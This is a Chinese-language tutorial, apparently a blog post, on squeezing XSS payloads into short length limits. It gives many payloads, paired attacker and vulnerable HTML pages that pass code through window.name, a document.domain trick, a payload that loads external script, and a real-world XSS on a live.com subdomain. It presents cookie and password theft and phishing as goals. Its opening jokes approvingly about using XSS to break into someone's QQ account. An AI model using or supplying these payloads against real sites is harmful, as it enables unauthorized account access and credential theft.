Short XSS
0x00 背景
關鍵時候長度不夠怎麼辦?
在實際的情況中如果你不夠長怎麼辦呢?看醫生?吃藥?做手術?。。。。。。。。。。。。。。算了,既然自身硬體不足,那麼就把缺點變優點吧。熟話說:小是小威力好。
熟話說的好,要能長能短,收放自如。在很多的情況中,我們構造的語句是被限制在一定的字元數內。所以這個就是考驗你能短的時候能不能短,能長的時候能不能長的時候到了。
0x01 現實中的悲劇
這是一個活生生的悲劇,一個平臺上面,一個二逼朋友有妹子的平臺賬號,但是二逼朋友想進妹子的QQ空間,用平臺的備註插QQ-XSS程式碼,但是因為限制的字元太短,最終抱頭痛哭。於是就有了下圖所發生:
0x02 怎麼變”短”
#!html
"><script>alert(1)</script>
.............................27 letters?
Alert(1)? No Run?
Impossible?
No!
在實際情況中,可以透過<h1>
短向量或者其他的短向量去測試存在XSS的地方,為什麼可以這樣?HTML是一門”不太嚴格”的解釋語言,即使沒有</h1>
,很多瀏覽器也照樣可以解釋為
#!html
<h1>xss</h1>
<h1>
xss
S1:
S2:
S3:
但是如果在攻擊的時候,我往往需要用到很多標籤、屬性來達到我們的目的。下面列出一些比較猥瑣的利用
<svg/onload=domain=id>
S1:在chrome瀏覽器存在一個同域讀取漏洞,為什麼說同域呢?
S2:在chrome下如果我們訪問www.baidu.com,透過控制檯來設定一下域為空,document.domain="",就會出現以下的錯誤。
S3:為什麼說chrome瀏覽器存在一個同域讀取漏洞呢?下面我們透過訪問www.baidu.com.來訪問一下(com後面還有一個.)並設定一下域為空
#!javascript
document.domain=""
設定結果就會出現以下圖片所示。
S4:這個怎麼利用?
首先說一個問題,就是說,在同域的情況下,DOM是互通的。就相當於我a可以寫b的,b也可以同樣寫a的。那我們該怎麼來利用呢?我們可以幹很多事情,比如說重寫頁面釣魚,或者盜取同域Cookie。下面我就用Chrome的控制檯來演示一下這個內容讀取漏洞。
S5:先來看看兩段程式碼:
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>這是a.com./12.html</h1>
<svg/onload=domain=id>
</body>
</html>
存在缺陷的XSS頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<h1>這是b.com./11.html</h1>
<svg/onload=domain=id>
</body>
</html>
S6:下面我們透過訪問我們構造的攻擊頁面,也就是a.com./12.html,然後讀取domain看看,結果如下圖:
S7:然後我們在控制檯裡面用window.open()方法開啟開啟存在缺陷的XSS頁面.然後同樣用domain檢視域.
S8:我們從上面就可以檢視出,現在a.com.和b.com.都是處於同一域下面,那麼就可以實現DOM相通的概念了。
S9:透過DOM重寫頁面測試,測試結果如下圖:
S10:其實這個方法的用處很多,比如說我找到XXX的XSS頁面,我透過把域置空,然後在自己站上構造一個頁面,怎麼構造就要看你的思維了,透過同域的DOM操作,可以釣魚的方式盜取COOKIE、密碼等。
<svg/onload=eval(name)>
S1:先把程式碼文譯一下:
#!html
<svg/onload=eval(window.name)>
S2:這一段程式碼透過svg載入的時候執行onload事件,執行的時候透過windows.name傳遞給eval執行,如果我們自己構造一個攻擊頁面,然後傳遞的XSS程式碼呢?下面看一段程式碼:
本地構造的攻擊頁面:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>
</html>
存在缺陷的XSS頁面:
#!html
<!DOCTYPE html>
<html>
<body>
<svg/onload=eval(name)>
</body>
</html>
S3:然後執行頁面,測試結果如下:
<i/onclick=URL=name>
S1:上面的程式碼文譯一下:
#!html
<i/onclick=document.URL=window.name>
S2:其實這段程式碼和上一段差不多多少,這裡就不截圖了,簡單的講解一下。透過點選執行事件把window.name的內容給document.URL然後執行javascript程式碼。那麼我們可以怎麼利用呢?
存在缺陷的XSS頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<i/onclick=URL=name>
</body>
</html>
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="javascript:alert(1)"></iframe>
</body>
</html>
<img src=x onerror=eval(name)>
S1:先把程式碼文譯一下:
#!html
<img src=x onerror=eval(window.name)>
S2:邪惡的eval又來了。透過img元素的src屬性出錯,執行onerror事件,透過邪惡的eval執行window.name裡面的程式碼。
S3:那我們怎麼來實現呢?
本地構造的攻擊頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<iframe src="11.html" name="alert(1)"></iframe>
</body>
存在缺陷的XSS頁面如下:
#!html
<!DOCTYPE html>
<html>
<body>
<img src="s.sx" onerror=eval(name) />
</body>
</html>
其實有很多用法,當然你也可以直接:
#!html
<img src=x onerror=eval(alert(1)) />
還可以
#!html
<img src=x onerror=eval(變數) />
還可以透過呼叫元素屬性,或者是程式設計師自寫的js程式碼
<img src=x onerror=with(body)createElement('script').src='[JS地址]'>
S1:透過img元素的src屬性出錯,執行onerror事件.
S2:用with定位到body,透過DOM的一個createElement方法建立一個script元素,並使用script的src屬性指向需要呼叫的外部js檔案。從而達到攻擊的目的。
S3:這個就不講解了,都應該能夠看懂
0x03 例項
下面引用長谷川的PPT的一部分(此PPT引用經過作者同意)
透過檢視原始碼:
地址:
https://*.live.com/?param=><h1>XSSed</h1><!--
#!html
<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />
找出了XSS的原因是由錯誤訊息引起的XSS
然後透過攻擊者自己構造的頁面構造XSS,併成功實現。
#!html
<iframe src="target" name="javascript:alert(1)">
(或者使用JavaScript的window.open)
最終:作者透過21個字元實現XSS(關於實現的方法請見上面的一些比較猥瑣的利用元素標籤)
程式碼為:
#!html
><i/onclick=URL=name>
當然22個字元也有很多方法(//後面為我們構造的程式碼開始) 20 Letters
#!html
<input type=hidden value=//><i/onclick=URL=name>
22 Letters
#!html
<input type=hidden value="//"><i/onclick=URL=name>">
17 Letters
#!html
<input type=text value= //onclick=URL=name>
0x04 挑戰最”短”
這個活動是國外一個網站釋出的,名為XSS challenge,大家有興趣可以討論一下 19 Letters
<x/x=&{eval(name)};
22 Letters
<svg/onload=eval(name)
最短的javascript執行程式碼,考驗你”短”的時候到了
10 Letters eval(name)
9 Letters eval(URL)
8 Letters URL=name
6 Letters $(URL)
0x05 總結
Javascript是一門很好玩的解釋型語言,每次去研究這些XSS點的時候會有很多樂趣,你越不相信這個點有XSS,那麼就越要去研究這個點是否有XSS。
其實呢~~~這些技術可以稱為猥瑣流。。。因為不是按正常的邏輯思維是想不到這些的,除非那些思想很猥瑣的人。~~~~~~~
歡迎你加入猥瑣這個團隊,讓我們一起猥瑣吧。
相關文章
- CodeForces 1873A Short Sort2024-08-01
- Switch to short timeout for ipc polling2019-04-30
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- life is short 中譯本(粗校)2020-03-13
- XSS姿勢——檔案上傳XSS2020-08-19
- XSS————1、XSS測試平臺搭建2018-05-13
- XSS漏洞2024-06-23
- XSS(Pikachu)2024-05-03
- XSS注入2021-09-19
- xss利用2020-07-18
- xss csrf2019-01-13
- 初探 XSS2018-05-15
- Java 中將 Short 轉換為 byte[]2024-05-08Java
- life is short 中譯本(嘗試中)2020-03-13
- 短址(short URL)原理及其實現2018-11-06
- XSS學習筆記:XSS Game(xss.pwnfunction.com)1-11通關全解2020-10-09筆記GAMFunction
- 富文字 XSS2024-06-26
- fuzzing XSS filter2020-08-19Filter
- XSS和CSRF2019-05-06
- 前端安全 - XSS2019-01-06前端
- xss基礎2019-04-02
- Web安全-XSS2018-11-27Web
- Qt short int 陣列大小端轉換(qbswap)2024-04-23QT陣列
- 【基礎語法】short、int、long轉為byte2024-04-04
- BUU XSS COURSE 12024-09-21
- xss常用標籤2024-05-08
- jinjia2 xss2024-04-06
- 前端防禦XSS2020-08-19前端
- Bypass IE XSS Filter2020-08-19Filter
- XSS漏洞釣魚2020-11-19
- 2.4 DOM型xss2020-11-22
- XSS 和 SQL 注入2020-12-16SQL
- Web 安全之 XSS2018-05-25Web
- 網路安全—xss2018-04-16
- 詳解Xss 及SpringBoot 防範Xss攻擊(附全部程式碼)2023-03-07Spring Boot
- [LeetCode] Short Encoding of Words 單詞集的短編碼2018-12-08LeetCodeEncoding
- HBase查詢優化之Short-Circuit Local Reads2018-08-12優化UI
- XSS常見問題2024-12-04